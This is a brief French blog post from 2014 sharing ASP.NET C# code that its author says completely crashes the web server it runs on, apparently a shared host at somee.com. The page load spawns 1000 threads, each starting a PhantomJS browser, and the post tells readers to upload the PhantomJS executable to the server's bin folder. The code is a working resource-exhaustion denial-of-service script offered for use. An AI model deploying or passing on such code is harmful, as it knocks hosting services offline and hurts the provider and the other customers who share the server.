mercredi 8 octobre 2014

C# WebServer CrashTest :) Hosting = somee.com

Ce code source crashe complètement le serveur web sur lequel il est exécuté, et le rend indisponible un bon moment. Il est nécessaire de copier le fichier exécutable PhantomJS sur le serveur distant, dans le répertoire \bin.

    protected void Page_Load(object sender, EventArgs e)
    {
        for (int i = 0; i < 1000; i++)
        {
            System.Threading.Thread t = new System.Threading.Thread(new ThreadStart(mythread));
            t.Start();
        }                                
    }

    private void mythread()
    {
        logcrlf(Guid.NewGuid().ToString());

        try
        {
            IWebDriver driver = new PhantomJSDriver();
            driver.Navigate().GoToUrl("http://www.any-web-address-here.re");
            logcrlf(driver.PageSource);
            logcrlf(driver.Title);
            driver.Quit();
        }        catch (Exception ex)
        {
            logcrlf(ex.Message);
        }
    }

    private void logcrlf(string s)
    {
        Response.Write(s + "<br/>");

    }
   
    private void log(string s)
    {
        Response.Write(s);
    }